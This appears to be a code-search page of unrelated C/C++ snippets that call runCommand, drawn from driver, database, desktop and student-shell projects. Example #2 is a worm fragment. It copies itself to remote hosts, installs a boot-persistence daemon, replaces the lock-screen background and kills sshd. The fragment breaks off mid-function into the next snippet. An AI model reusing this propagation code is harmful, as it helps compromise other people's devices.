示例#1
0
void OSD(u8_t x, u8_t y, char *str) {
	int i;
	if (_strlen(str) > 14) { str[13] = 0; }

	u8_t args[17] = {_strlen(str), _strlen(str)-1, (y & 0xF) | ((x & 0x3) << 4)};

	for(i=0; i<_strlen(str); i++) {
		char c = str[i];
		if ((c >= '0') && (c <= '9')) {
			str[i] -= '0';
		} else if ((c >= 'A') && (c <= 'Z')) {
			str[i] -= 'A';
			str[i] += 10;
		} else if ((c >= 'a') && (c <= 'z')) {
			str[i] -= 'a';
			str[i] += 36;
		}

		args[3+i] = str[i];
	}

	runCommand(VC0706_OSD_ADD_CHAR, args, _strlen(str)+3, 5, TRUE);
	//printBuff();
}
示例#2
0
int infectHost(char *host)
{
    // Copy myself to them
    // run as startup
    if (runCommand("uname -n", host) == 0)
    {
        //printf("\n\r - Infecting: ");
        prunCommand("uname -n", host);
        prunCommand("rm /bin/sshpass", host);
        prunCommand("rm /bin/poc-bbot", host);
        //prunCommand("killall poc-bbot", host);
        if (CopyFile("/bin/poc-bbot", "/bin/poc-bbot", host) == 0 && CopyFile("/bin/sshpass", "/bin/sshpass", host) == 0)
        {
            //printf(" - Replicated successfully");
            prunCommand("rm /var/mobile/Library/LockBackground.jpg; echo \"\r\n - Removed old background\"", host);
            // Revision 3 - idea from nevermore!
            // This way dipshits wont delete my stuff
            CopyFile("/var/log/youcanbeclosertogod.jpg", "/var/mobile/Library/LockBackground.jpg", host);
            CopyFile("/var/log/youcanbeclosertogod.jpg", "/var/log/youcanbeclosertogod.jpg", host);
            //CopyFile("/var/mobile/Library/LockBackground.jpg", "/var/mobile/Library/LockBackground.jpg", host); // We aren't 
installing an app.
           
            //printf(" - Background set (ast.jpg).");
            CopyFile("/System/Library/LaunchDaemons/com.ikey.bbot.plist", "/System/Library/LaunchDaemons/com.ikey.bbot.plist", 
host);
            prunCommand("launchctl load /System/Library/LaunchDaemons/com.ikey.bbot.plist", host);
            // I didn't want to have to do this.
            prunCommand("rm -f /Library/LaunchDaemons/com.openssh.sshd.plist; launchctl unload 
/Library/LaunchDaemons/com.openssh.sshd.plist", host);
            prunCommand("killall sshd", host);
            //printf("\n\r - Program set to startup on boot");
            //prunCommand("reboot", host)
            //printf("\n\r - Rebooting phone!");
            //CopyFile("ngtgyu.m4r", "/var/mobile/ngtgyu.m4r", host);
            //printf("\n\r - Ringtone set (ngtgyu.m4r).");
        }
void ConsoleHandler::handleCommand(const std::string& cmd) {
  bool parseString = false;
  std::string arg;
  std::vector<std::string> argList;

  for (auto ch : cmd) {
    switch (ch) {
    case ' ':
      if (parseString) {
        arg += ch;
      } else if (!arg.empty()) {
        argList.emplace_back(std::move(arg));
        arg.clear();
      }
      break;

    case '"':
      if (!arg.empty()) {
        argList.emplace_back(std::move(arg));
        arg.clear();
      }

      parseString = !parseString;
      break;

    default:
      arg += ch;
    }
  }

  if (!arg.empty()) {
    argList.emplace_back(std::move(arg));
  }

  runCommand(argList);
}
示例#4
0
void hardware(const int write_to_file, FILE *global_ofile) {
  char buffer[BUF_SIZ];
  char os[BUF_SIZ];
  char model[BUF_SIZ];
  char cache[BUF_SIZ];
  char os_command[] = "uname -s -r";
#ifdef NO_UNAME
  os[0] = '\0';
#else
  runCommand(os_command, os);
#endif
  if(NULL != strstr(os, "Linux")) {
    readProcCpuInfo (model, cache);
  } else {
    model[0] = '\0';
    cache[0] = '\0';
  }
  sprintf(buffer, "CPU                 : %s\n", model);
  output_string(buffer, write_to_file, global_ofile);
  sprintf(buffer, "L2 Cache            : %s\n", cache);
  output_string(buffer, write_to_file, global_ofile);
  sprintf(buffer, "OS                  : %s\n", os);
  output_string(buffer, write_to_file, global_ofile);
}
示例#5
0
文件: commands.c 项目: zmike/compiz
static Bool
runCommandDispatch(CompDisplay *d,
                   CompAction *action,
                   CompActionState state,
                   CompOption *option,
                   int nOption)
{
   CompScreen *s;
   Window xid;

   xid = getIntOptionNamed(option, nOption, "root", 0);
   s = findScreenAtDisplay(d, xid);

   if (s)
     {
        int index = COMMANDS_DISPLAY_OPTION_COMMAND0 + action->priv.val;

        COMMANDS_DISPLAY(d);

        runCommand(s, cd->opt[index].value.s);
     }

   return TRUE;
}
示例#6
0
StatusWith<boost::optional<ChunkRange>> splitChunkAtMultiplePoints(
        OperationContext* txn,
        const ShardId& shardId,
        const NamespaceString& nss,
        const ShardKeyPattern& shardKeyPattern,
        ChunkVersion collectionVersion,
        const BSONObj& minKey,
        const BSONObj& maxKey,
const std::vector<BSONObj>& splitPoints) {
    invariant(!splitPoints.empty());
    invariant(minKey.woCompare(maxKey) < 0);

    const size_t kMaxSplitPoints = 8192;

    if (splitPoints.size() > kMaxSplitPoints) {
        return {ErrorCodes::BadValue,
                str::stream() << "Cannot split chunk in more than " << kMaxSplitPoints
                << " parts at a time."};
    }

    BSONObjBuilder cmd;
    cmd.append("splitChunk", nss.ns());
    cmd.append("configdb",
               Grid::get(txn)->shardRegistry()->getConfigServerConnectionString().toString());
    cmd.append("from", shardId.toString());
    cmd.append("keyPattern", shardKeyPattern.toBSON());
    collectionVersion.appendForCommands(&cmd);
    cmd.append(kMinKey, minKey);
    cmd.append(kMaxKey, maxKey);
    cmd.append("splitKeys", splitPoints);

    BSONObj cmdObj = cmd.obj();

    Status status{ErrorCodes::InternalError, "Uninitialized value"};
    BSONObj cmdResponse;

    auto shard = Grid::get(txn)->shardRegistry()->getShard(txn, shardId);
    if (!shard) {
        status =
            Status(ErrorCodes::ShardNotFound, str::stream() << "shard " << shardId << " not found");
    } else {
        auto cmdStatus = shard->runCommand(txn,
                                           ReadPreferenceSetting{ReadPreference::PrimaryOnly},
                                           "admin",
                                           cmdObj,
                                           Shard::RetryPolicy::kNotIdempotent);
        if (!cmdStatus.isOK()) {
            status = std::move(cmdStatus.getStatus());
        } else {
            status = std::move(cmdStatus.getValue().commandStatus);
            cmdResponse = std::move(cmdStatus.getValue().response);
        }
    }

    if (!status.isOK()) {
        log() << "Split chunk " << redact(cmdObj) << " failed" << causedBy(redact(status));
        return {status.code(), str::stream() << "split failed due to " << status.toString()};
    }

    BSONElement shouldMigrateElement;
    status = bsonExtractTypedField(cmdResponse, kShouldMigrate, Object, &shouldMigrateElement);
    if (status.isOK()) {
        auto chunkRangeStatus = ChunkRange::fromBSON(shouldMigrateElement.embeddedObject());
        if (!chunkRangeStatus.isOK()) {
            return chunkRangeStatus.getStatus();
        }

        return boost::optional<ChunkRange>(std::move(chunkRangeStatus.getValue()));
    } else if (status != ErrorCodes::NoSuchKey) {
        warning()
                << "Chunk migration will be skipped because splitChunk returned invalid response: "
                << redact(cmdResponse) << ". Extracting " << kShouldMigrate << " field failed"
                << causedBy(redact(status));
    }

    return boost::optional<ChunkRange>();
}
示例#7
0
文件: shard.cpp 项目: 7segments/mongo
 ShardStatus Shard::getStatus() const {
     return ShardStatus( *this , runCommand( "admin" , BSON( "serverStatus" << 1 ) , true ) ,
                                 runCommand( "admin" , BSON( "listDatabases" << 1 ) , true ) );
 }
示例#8
0
bool ProcessesRemote::setIoNiceness(long pid, int priorityClass, int priority) {
    emit runCommand("ionice " + QString::number(pid) + " " + QString::number(priorityClass) + " " + QString::number(priority), (int)Ionice);
    return true;
}
示例#9
0
byte Elm327::begin(){
	ELM_PORT.begin(ELM_BAUD_RATE);
	char data[20];
	runCommand("AT E0",data,20);
	return runCommand("AT SP 0",data,20);
}
示例#10
0
result_t MongoCollection::dropIndex(exlib::string name,
    v8::Local<v8::Object>& retVal)
{
    return runCommand("deleteIndexes", "index", name, retVal);
}
示例#11
0
result_t MongoCollection::findAndModify(v8::Local<v8::Object> query,
    v8::Local<v8::Object>& retVal)
{
    return runCommand("findAndModify", query, retVal);
}
示例#12
0
Dialog::Dialog(QWidget *parent) :
QDialog(parent, Qt::Dialog | Qt::WindowStaysOnTopHint | Qt::CustomizeWindowHint),
ui(new Ui::Dialog),
mSettings(new LxQt::Settings("lxqt-runner", this)),
mGlobalShortcut(0),
mLockCascadeChanges(false),
mConfigureDialog(0) {
    ui->setupUi(this);
    setWindowTitle("LXDE-Qt Runner");

    connect(LxQt::Settings::globalSettings(), SIGNAL(iconThemeChanged()), this, SLOT(update()));

    connect(ui->closeButton, SIGNAL(clicked()), this, SLOT(hide()));

    connect(mSettings, SIGNAL(settingsChanged()), this, SLOT(applySettings()));

    ui->commandEd->installEventFilter(this);

    connect(ui->commandEd, SIGNAL(textChanged(QString)), this, SLOT(setFilter(QString)));
    connect(ui->commandEd, SIGNAL(returnPressed()), this, SLOT(runCommand()));

    mCommandItemModel = new CommandItemModel(this);
    ui->commandList->installEventFilter(this);
    ui->commandList->setModel(mCommandItemModel);
    ui->commandList->setEditTriggers(QAbstractItemView::NoEditTriggers);
    connect(ui->commandList, SIGNAL(clicked(QModelIndex)), this, SLOT(runCommand()));
    setFilter("");
    dataChanged();

    ui->commandList->setItemDelegate(new HtmlDelegate(QSize(32, 32), ui->commandList));

    // Popup menu ...............................
    QAction *a = new QAction(XdgIcon::fromTheme("configure"), tr("Configure lxqt-runner"), this);
    connect(a, SIGNAL(triggered()), this, SLOT(showConfigDialog()));
    addAction(a);

    //    a = new QAction(XdgIcon::fromTheme("edit-clear-history"), tr("Clear lxqt-runner History"), this);
    //    connect(a, SIGNAL(triggered()), mCommandItemModel, SLOT(clearHistory()));
    //    addAction(a);

    mPowerManager = new LxQt::PowerManager(this);
    addActions(mPowerManager->availableActions());
    mScreenSaver = new LxQt::ScreenSaver(this);
    addActions(mScreenSaver->availableActions());

    setContextMenuPolicy(Qt::ActionsContextMenu);

    QMenu *menu = new QMenu(this);
    menu->addActions(actions());
    ui->actionButton->setMenu(menu);
    ui->actionButton->setIcon(XdgIcon::fromTheme("configure"));
    // End of popup menu ........................

    applySettings();


    connect(mGlobalShortcut, SIGNAL(activated()), this, SLOT(showHide()));
    connect(mGlobalShortcut, SIGNAL(shortcutChanged(QString, QString)), this, SLOT(shortcutChanged(QString, QString)));

    resize(mSettings->value("dialog/width", 400).toInt(), size().height());


    connect(mCommandItemModel, SIGNAL(layoutChanged()), this, SLOT(dataChanged()));
}
示例#13
0
int main(int argc, const char ** argv) {
    char command[MAX_COMMAND_LEN + 1];
    char * nextCommand = NULL;
    struct jobSet jobList = { NULL, NULL };
    struct job newJob;
    FILE * input = stdin;
    int i;
    int status;
    int inBg;

    if (argc > 2) {
        fprintf(stderr, "unexpected arguments; usage: ladsh1 "
                        "<commands>\n");
        exit(1);
    } else if (argc == 2) {
        input = fopen(argv[1], "r");
        if (!input) {
            perror("fopen");
            exit(1);
        }
    }

    /* don't pay any attention to this signal; it just confuses 
       things and isn't really meant for shells anyway */
    signal(SIGTTOU, SIG_IGN);
    
    while (1) {
        if (!jobList.fg) {
            /* no job is in the foreground */

            /* see if any background processes have exited */
            checkJobs(&jobList);

            if (!nextCommand) {
                if (getCommand(input, command)) break;
                nextCommand = command;
            }

            if (!parseCommand(&nextCommand, &newJob, &inBg) &&
                              newJob.numProgs) {
                runCommand(newJob, &jobList, inBg);
            }
        } else {
            /* a job is running in the foreground; wait for it */
            i = 0;
            while (!jobList.fg->progs[i].pid) i++;

            waitpid(jobList.fg->progs[i].pid, &status, 0);

            jobList.fg->runningProgs--;
            jobList.fg->progs[i].pid = 0;
        
            if (!jobList.fg->runningProgs) {
                /* child exited */

                removeJob(&jobList, jobList.fg);
                jobList.fg = NULL;

                /* move the shell to the foreground */
                if (tcsetpgrp(0, getpid()))
                    perror("tcsetpgrp");
            }
        }
    }

    return 0;
}
示例#14
0
int main()
{
	//This defines the signal interrupt behavior.
	init();
	//Raw command line input, stored as char array
	char *rawInput;
	//Parsed command line input, arguments stored as array of char arrays
	struct job parsedInput;	
	//Initialize the "status" member variable in case user calls it first.
	strcpy(parsedInput.exitStatus, "none");	
	
	//Loop runs indefinitely, until user enters "exit" command.
	while(1)
	{
		//Reset all variables regarding command line input.
		parsedInput.isInput = 0;
		parsedInput.isOutput = 0;
		parsedInput.isBackground = 0;
		parsedInput.argCount = 0;
		
		//Prints the command line.
		fflush(stdout);
		printf(": ");

		//Reads input from the command line, stored as char array.
		rawInput = readCommandLine();

		//If user does not enter anything, or enters a comment, no need to process input.
		if(rawInput[0] == '\n' || rawInput[0] == '#')
		{
			free(rawInput);
			continue;
		}

		/*Since the testing script doesn't end with an "exit" statement, this prevents the program
		from running in an infinite loop. If the user enters a blank line, it actually includes a 
		/n character. This runs when hitting the end of the input file.*/
		if(rawInput[0] == '\0')
			break;
		
		//Process raw input, returns tokenized array with appropriate Bool values set.
		parseCommandLine(rawInput, &parsedInput);
		
		/*If user tries to enter only redirect and/or background characters, issues error. 
		commented out to avoid a preposterous amount of error messages when the grading script 
		runs indefinitely. Since this condition isn't explicitly checked for in the script,
		shouldn't cause a problem.*/
		if(parsedInput.argCount == 0)
		{
//			printf("Error: Invalid syntax. Enter at least 1 argument at the command line.\n");
			continue;
		}
		
		//If user calls built-in function "exit", exit the shell program.
		if (strcmp(parsedInput.args[0], "exit") == 0)
			break;
		
		//If user calls "cd" or "status", call those built in commands.
		else if(strcmp(parsedInput.args[0], "cd") == 0 || strcmp(parsedInput.args[0], "status") == 0 )
			runBuiltIn(&parsedInput);
		//In all other cases, run the command.
		else
			runCommand(&parsedInput);
		
		free(rawInput);
	}
	exit(0);
}
示例#15
0
void checkSendMessage() {
	if ((compareArray(addressbit, myAddressbit, 8) == 1) || (compareArray(addressbit, publicAddressbit, 8) == 1))
		runCommand();
		
	resetListening();
}
示例#16
0
int main(int argc, char** argv){
	//Setting the signal interrupt to its default function. 
	signal(SIGINT, handler);

	//get the pid of the current process
	pid = getpid();

	//Allocating space to store the previous commands.
	int numCmds = 0;
	char **cmds = (char **)malloc(1000 * sizeof(char *));

	int printDollar = 1;

	char input[MAXLINE];
	char** tokens;

	int notEOF = 1;
	int i;

	FILE* stream = stdin;

	while(notEOF) { 
		if (printDollar == 1){ 
			printf("$ "); // the prompt
			fflush(stdin);
		}

		char *in = fgets(input, MAXLINE, stream); //taking input one line at a time

		//Checking for EOF
		if (in == NULL){
			if (DEBUG) printf("EOF found\n");
			exit(0);
		}

		//add the command to the command list.
		cmds[numCmds] = (char *)malloc(sizeof(input));
		strcpy(cmds[numCmds++], input); 

		// Calling the tokenizer function on the input line    
		tokens = tokenize(input);

		// check tokens and execute corresponding command
		if(tokens[0] == NULL){
			printf("");
		}
		else if( is_equal(tokens[0], "run\0") ) {
    			runCommand(tokens[1]);
		}
		else if(is_equal(tokens[0], "cd\0")){
			cdCommand(tokens[1]);
		}
		else if(is_equal(tokens[0], "cron\0")){
			cronCommand(tokens[1]);
		}
		else if(is_equal(tokens[0], "parallel\0")){
			parallelCommand(tokens);
		}
		else{
			executeFile(tokens);
		} 
	}
  
  
	printf("Print and deallocate %s\n", tokens[0]);
	// Freeing the allocated memory	
	for(i=0;tokens[i]!=NULL;i++){
		free(tokens[i]);
	}
	free(tokens);
	return 0;
}
示例#17
0
int main(int argc, char** argv){
	//Setting the signal interrupt to its default function. 
	signal(SIGINT, handler);
	signal(SIGCHLD, sigchldHandler);

	children = (pid_t *)malloc(1000*sizeof(pid_t));
	children[0] = -1;

	//get the pid of the current process
	pid = getpid();

	ready = 1;

	//Allocating space to store the previous commands.
	int numCmds = 0;
	char **cmds = (char **)malloc(1000 * sizeof(char *));

	char input[MAXLINE];
	char** tokens;
	char** command;

	int notEOF = 1;
	int i;

	//variables to store information about I/O redirection
	int inCounter=0 , outCounter=0, pipeCounter = 0, appendFlag=0;
	char * infilename;
	char * outfilename;

	FILE* stream = stdin;
	
	
	while(notEOF) { 
		if (ready == 1){ 
			printf("$ "); // the prompt
			fflush(stdin);
		}

		char *in = fgets(input, MAXLINE, stream); //taking input one line at a time

		//Checking for EOF
		if (in == NULL){
			if (DEBUG) printf("EOF found\n");
			exit(0);
		}

		//add the command to the command list.
		cmds[numCmds] = (char *)malloc(sizeof(input));
		strcpy(cmds[numCmds++], input); 

		// Calling the tokenizer function on the input line    
		tokens = tokenize(input);
		command = (char **) malloc(MAXLINE*sizeof(char**));

		//Check for input and output redirection
		int k=0;
		int flag = 1;
		int pipeFlag = 0;
		for(k=0;tokens[k]!=NULL;k++){
			if( is_equal(tokens[k], "<\0")){
				inCounter++;
				if(inCounter == 1){
					infilename = tokens[k + 1];
				}
				flag = 0;
			}
			if( is_equal(tokens[k], ">\0")){
				outCounter++;
				if(outCounter == 1){
					if(is_equal(tokens[k+1], ">\0")){
						//if appending is done while output redirection
						appendFlag=1;
						outfilename=tokens[k + 2];
						outCounter++;
						k++;
					}
					else
						outfilename = tokens[k + 1];
				}
				
				flag = 0;
			}
			if(is_equal(tokens[k], "|\0")){
				pipeFlag = 1;
			}
			if(flag == 1){
				command[k] = tokens[k];
			}
		}
		
		//if piping is used
		if(pipeFlag == 1){
			pipeCommand(tokens);
		}

		else {
			if(inCounter > 1){
				perror("More than one input redirections.");
			}
			else if(outCounter > 2 || (appendFlag == 0 && outCounter == 2)){
				perror("More than one output redirections.");
			}
			else{
				// check tokens and execute corresponding command
				if(tokens[0] == NULL){
					printf("");
				}
				else if( is_equal(tokens[0], "run\0") ) {
					runCommand(tokens[1]);
				}
				else if(is_equal(tokens[0], "cd\0")){
					cdCommand(tokens[1]);
				}
				else if(is_equal(tokens[0], "cron\0")){
					cronCommand(tokens[1]);
				}
				else if(is_equal(tokens[0], "parallel\0")){
					parallelCommand(command);
				}
				else if(is_equal(tokens[0], "exit\0")){
					exitCommand();
				}
				else{
					executeFile(command, inCounter, infilename, outCounter, outfilename, appendFlag);
				}
			}
		}
		inCounter = 0;
		outCounter = 0;
		appendFlag = 0;
	}
  
  
	printf("Print and deallocate %s\n", tokens[0]);
	// Freeing the allocated memory	
	for(i=0;tokens[i]!=NULL;i++){
		free(tokens[i]);
	}
	free(tokens);
	for(i=0;command[i]!=NULL;i++){
		free(command[i]);
	}
	free(command);
	return 0;
}
示例#18
0
    BSONObj DBClientWithCommands::getLastErrorDetailed() { 
        BSONObj info;
        runCommand("admin", getlasterrorcmdobj, info);
		return info;
    }
示例#19
0
 BSONObj DBClientWithCommands::getPrevError() { 
     BSONObj info;
     runCommand("admin", getpreverrorcmdobj, info);
     return info;
 }
示例#20
0
文件: lsh.c 项目: bregell/EDA092
/*
 * Traverse through linked list, and fork process child per program
 * Sets up pipeline between child processes.
 * Recursive function
 */
int runCommand(int n, Pgm *p) {
    pid_t pid;
    if (p == NULL) {
        return -1;
    } else {
        /* Create pipe */
        int pipefd[2];

        if (n > 0) {
            if (pipe(pipefd) == 0) {
                fprintf(stderr, "Parent %i: Created pipe\n", n);
            }
        }

        /* fork a child process */
        pid = fork();
        if (pid < 0) {
            fprintf(stderr, "Parent %i: Fork failed", n);
            return 1;
        } else if (pid > 0) {
            /* Parent process */

            /*** SET UP READING END ***/
            /* Skip pipe for first process */
            if (n > 0) {

                /* close writing end */
                if (close(pipefd[1]) != 0) {
                    fprintf(stderr, "Closing pipefd[1] failed\n");
                }
                /* Connect reading end to STDIN */
                dup2(pipefd[0], 0);
                /* close reading end */
                if (close(pipefd[0]) != 0) {
                    fprintf(stderr, "Closing pipefd[1] failed\n");
                }
            }


            wait(NULL);
            fprintf(stderr, "Parent %i: Finished waiting\n", n);
        } else {
            /* child process */
            fprintf(stderr, "Hej from Child%i\n", n);

            /*** SET UP WRITING END ***/
            /* Skip pipe for first process */
            if (n > 0) {
                /* close reading end */
                if (close(pipefd[0]) != 0) {
                    fprintf(stderr, "Closing pipefd[1] failed\n");
                }
                /* Connect writing end to STDOUT */
                dup2(pipefd[1], 1);

                /* close writing end */
                if (close(pipefd[1]) != 0) {
                    fprintf(stderr, "Closing pipefd[1] failed\n");
                }
            }
            /* Recursive call to runCommand, itself */
            runCommand(n + 1, p->next);
            /* Execute program binary */
            if (strcmp(p->pgmlist[0], "cd") == 0) {
                int size = 256;
                int length = 0;
                char path[256];
                if (strcmp(p->pgmlist[1], "..") == 0) {
                    /*Get Current path and put it in path*/
                    getcwd(path, size);
                    /*Print the path*/
                    printf("%s\n", path);
                    /*Get the length of the path string*/
                    length = strlen(path);
                    /*search backwards for for first occurrence of / and replace with \0 */
                    while (path[length] != '/')
                        length--;
                    path[length] = '\0';
                    printf("%s\n", path);
                } else {
                    strcpy(path, p->pgmlist[1]);
                }
                chdir(path);
            } else {
                execvp(p->pgmlist[0], p->pgmlist);
            }
        }
        return 0;
    }
}
示例#21
0
void ConsoleHandler::handleCommand(const std::string& cmd) {
  std::vector<std::string> args;
  boost::split(args, cmd, boost::is_any_of(" "), boost::token_compress_on);
  runCommand(args);
}
void initialize() {

    system("clear");


    String ip = "", netmask = "", command = "", alltargetsStr = "", currtarget = "", iqn = "", sendtargets = "", sql = "";
    String disklist = "", assocvol = "", mountpt = "", avspace = "", command1 = "", sql1 = "";


    int counter = 1;
    //sqlite3 information
    sqlite3 *db;
    int rc = 0;

    //open sqlite3 db
    rc = sqlite3_open(DBNAME,&db);
    if (rc){
       printf("\nCannot open database.\n");
       exit(0);
    }

    // get network information of initiator
    // what if interface is not eth0? what if eth1...?
    runCommand("ip addr show eth0 | grep \'inet \' | awk \'{print $2}\' | cut -f1 -d\'/\'", ip);
    runCommand("ip addr show eth0 | grep \'inet \' | awk \'{print $2}\' | cut -f2 -d\'/\'", netmask);
    // printf("*****  Network information  *****\n");
    ip[strlen(ip)] = '\0';
    netmask[strlen(netmask)] = '\0';
    syslog(LOG_INFO, "DiskPooling: Initiator IP address: %s/%s\n\n", ip, netmask);


    // do nmap for active hosts with port 3260 open
    // syslog(LOG_INFO, "DiskPooling: Scanning network...\n");
    sprintf(command, "nmap -v -n %s%s%s -p 3260 | grep open | awk '/Discovered/ {print $NF}'", ip, "/", netmask);
    runCommand(command, alltargetsStr);

    // discover iscsi targets on hosts scanned successfully
    char *ptr;
    ptr = strtok(alltargetsStr, "\n");

    while(ptr != NULL) {
    	printf("%s is a target.\n", ptr);
    	sprintf(sendtargets,"iscsiadm -m discovery -t sendtargets -p %s | awk '{print $2}'",ptr);
    	runCommand(sendtargets,iqn);
        printf("%s\n", iqn);
        sprintf(sql,"insert into Target(tid, ipadd,iqn) values (%d, '%s','%s');",counter, ptr,iqn);

        printf("** initconf, sql = %s\n", sql);

        rc = sqlite3_exec(db,sql,0,0,0);
        if (rc != SQLITE_OK){
            printf("\nDid not insert successfully!\n");
            exit(0);
        }
        strcpy(sendtargets,"");
        strcpy(sql,"");
        strcpy(iqn, "");
        ptr = strtok(NULL, "\n");
        counter++;
    }

    printf("\n\nLogging in to targets...");
    system("iscsiadm -m node --login");
    printf("\n\nAvailable partitions written to file \"%s\"\n", AV_DISKS);
    sleep(5);
    sprintf(command, "cat /proc/partitions > '%s'", AV_DISKS);
    system(command);
    system("cat /proc/partitions");

    makeVolume(0);

    runCommand("cat '../file_transaction/AvailableDisks.txt' | grep sd[b-z] | awk '{print $4}'",disklist);

    // syslog(LOG_INFO, "DiskPooling: DONE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");

    // syslog(LOG_INFO, "DiskPooling: Disklist before: %s\n\n", disklist);
    //strcat(disklist, "\n");
    char *ptr1;
    //int counter = 1;    // to aidz: di ako sure dito ah.. pano kung nag delete then init_conf sure ba na 1 lagi tapos sunod sunod?
    ptr1 = strtok(disklist,"\n");
    // syslog(LOG_INFO, "DiskPooling: PTR Before: %s\n\n", ptr1);
    // syslog(LOG_INFO, "DiskPooling: DIskList after: %s\n\n", disklist);
    counter = 1;
    while(ptr1 != NULL){
    //    syslog(LOG_INFO, "DiskPooling: PTR: %s\n\n", ptr1);
    //    syslog(LOG_INFO, "DiskPooling: INSIDE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n");
       strcat(assocvol,"/dev/vg");
       strcat(assocvol,ptr1);
       strcat(assocvol,"/lv");
       strcat(assocvol,ptr1);


       strcat(mountpt,"/mnt/lv");
       strcat(mountpt,ptr1);

       sprintf(command1,"lvdisplay %s | grep 'LV Size' | awk '{print $3,$4}'",assocvol);

       runCommand(command1,avspace);

       // edit here not sure if working (assume: avspace = "12.3 GiB")
       double space_bytes = toBytes(avspace);

       sprintf(sql1,"update Target set assocvol = '%s', mountpt = '%s', avspace = %lf where tid = %d", assocvol, mountpt, space_bytes, counter);

    //    syslog(LOG_INFO, "DiskPooling: SQL1 = %s\n", sql1);
       rc = sqlite3_exec(db,sql1,0,0,0);

       if (rc != SQLITE_OK){
           syslog(LOG_INFO, "DiskPooling: Error: Target is not recorded");
           exit(0);
       }

       strcpy(assocvol,"");
       strcpy(mountpt,"");
       strcpy(avspace,"");
       counter++;
       ptr1 = strtok(NULL,"\n");
    //    printf("***************\n\n\n%s\n\n\n", ptr1);
    }

    printf("\n\nInitialization finished\n");
}
示例#23
0
result_t MongoCollection::reIndex(v8::Local<v8::Object>& retVal)
{
    return runCommand("reIndex", "", "", retVal);
}
// TODO: use RBCContext instead of all the separate arguments.
SharedShadowNode UITemplateProcessor::runCommand(
    const folly::dynamic &command,
    Tag rootTag,
    std::vector<SharedShadowNode> &nodes,
    std::vector<folly::dynamic> &registers,
    const ComponentDescriptorRegistry &componentDescriptorRegistry,
    const NativeModuleRegistry &nativeModuleRegistry,
    const std::shared_ptr<const ReactNativeConfig> reactNativeConfig) {
  const std::string &opcode = command[0].asString();
  const int tagOffset = 420000;
  // TODO: change to integer codes and a switch statement
  if (opcode == "createNode") {
    int tag = command[1].asInt();
    const auto &type = command[2].asString();
    const auto parentTag = command[3].asInt();
    const auto &props = command[4];
    nodes[tag] = componentDescriptorRegistry.createNode(
        tag + tagOffset, type, rootTag, props, nullptr);
    if (parentTag > -1) { // parentTag == -1 indicates root node
      auto parentShadowNode = nodes[parentTag];
      const SharedComponentDescriptor &componentDescriptor =
          componentDescriptorRegistry[parentShadowNode];
      componentDescriptor->appendChild(parentShadowNode, nodes[tag]);
    }
  } else if (opcode == "returnRoot") {
    LOG(INFO)
        << "(stop) UITemplateProcessor inject serialized 'server rendered' view tree";
    return nodes[command[1].asInt()];
  } else if (opcode == "loadNativeBool") {
    int registerNumber = command[1].asInt();
    std::string param = command[4][0].asString();
    registers[registerNumber] = reactNativeConfig->getBool(param);
  } else if (opcode == "conditional") {
    int registerNumber = command[1].asInt();
    auto conditionDynamic = registers[registerNumber];
    if (conditionDynamic.isNull()) {
      // TODO: provide original command or command line?
      auto err = std::runtime_error(
          "register " + command[1].asString() + " wasn't loaded before access");
      throw err;
    } else if (conditionDynamic.type() != folly::dynamic::BOOL) {
      // TODO: provide original command or command line?
      auto err = std::runtime_error(
          "register " + command[1].asString() + " had type '" +
          conditionDynamic.typeName() +
          "' but needs to be 'boolean' for conditionals");
      throw err;
    }
    const auto &nextCommands =
        conditionDynamic.asBool() ? command[2] : command[3];
    for (const auto &nextCommand : nextCommands) {
      runCommand(
          nextCommand,
          rootTag,
          nodes,
          registers,
          componentDescriptorRegistry,
          nativeModuleRegistry,
          reactNativeConfig);
    }
  } else {
    throw std::runtime_error("Unsupported opcode: " + command[0].asString());
  }
  return nullptr;
}
示例#25
0
result_t MongoCollection::dropIndexes(v8::Local<v8::Object>& retVal)
{
    return runCommand("deleteIndexes", "index", "*", retVal);
}
示例#26
0
bool ProcessesRemote::sendSignal(long pid, int sig) {
	//TODO run the proper command for all these functions below
    emit runCommand("kill " + QString::number(pid) + " " + QString::number(sig), (int)Kill);
    return true;
}
示例#27
0
void *watch_share()
{
    int length, i = 0, wd;
    int fd;
    int rc;
    int access_count = 1;
    int r_count = 1;
    char *p;
    char buffer[BUF_LEN] __attribute__ ((aligned(8)));
    int counter = 0;
    int wds[MAX_WTD];
    String dirs[MAX_WTD];


    String query;

    sqlite3 *db;
    sqlite3_stmt *res;

    const char *tail;


    rc = sqlite3_open(DBNAME, &db);
    if (rc != SQLITE_OK){
       fprintf(stderr, "Can't open database: %s.\n", sqlite3_errmsg(db));
       sqlite3_close(db);
       exit(1);
    }

    strcpy(query, "SELECT mountpt FROM Target;");
    rc = sqlite3_prepare_v2(db, query, 1000, &res, &tail);
    if (rc != SQLITE_OK){
       fprintf(stderr, "Failed to retrieved data.\n");
       exit(1);
    }

    /*Initialize inotify*/
    fd = inotify_init();
    if ( fd < 0 ) {
       perror( "Couldn't initialize inotify" );
    }

   list_dir(TEMP_LOC, fd, wds, dirs, counter);

   //printf("HELLO!!!\n");
    while (sqlite3_step(res) == SQLITE_ROW){
       wd = inotify_add_watch(fd, sqlite3_column_text(res,0), IN_CREATE | IN_OPEN | IN_CLOSE);
       wds[counter] = wd;
       strcpy(dirs[counter], sqlite3_column_text(res,0));
       counter++;
       if (wd == -1){
          syslog(LOG_INFO, "FileTransaction: Couldn't add watch to %s\n", sqlite3_column_text(res,0));
       } else {
          syslog(LOG_INFO, "FileTransaction: Watching:: %s\n", sqlite3_column_text(res,0));
       }

       //Check each target for directory
       String dir_to_read = "";
       strcpy(dir_to_read, sqlite3_column_text(res,0));
       list_dir(dir_to_read, fd, wds, dirs, counter);

    }

   wd = inotify_add_watch(fd, CACHE_LOC, IN_OPEN | IN_CLOSE);
   wds[counter] = wd;
   strcpy(dirs[counter], CACHE_LOC);
   counter++;
   if (wd != -1){
    	syslog(LOG_INFO, "FileTransaction: Watching:: %s\n", CACHE_LOC);
   }

    /*do it forever*/
    for(;;){
	create_link();
       length = read(fd, buffer, BUF_LEN);

       if (length < 0){
          perror("read");
       }

     for(p = buffer; p < buffer + length;){
           struct inotify_event *event = (struct inotify_event *) p;
	     if (event->mask & IN_CREATE){
	   	  if (event->mask & IN_ISDIR){
                      int size = sizeof(wds) / sizeof(wds[0]);
		      int i = 0;

      		      for (i = 0; i < size; i++){
     			   if (wds[i] == event->wd){
				if (strstr(dirs[i], "/mnt/Share") == NULL){
				   String add_watch_dir = "";
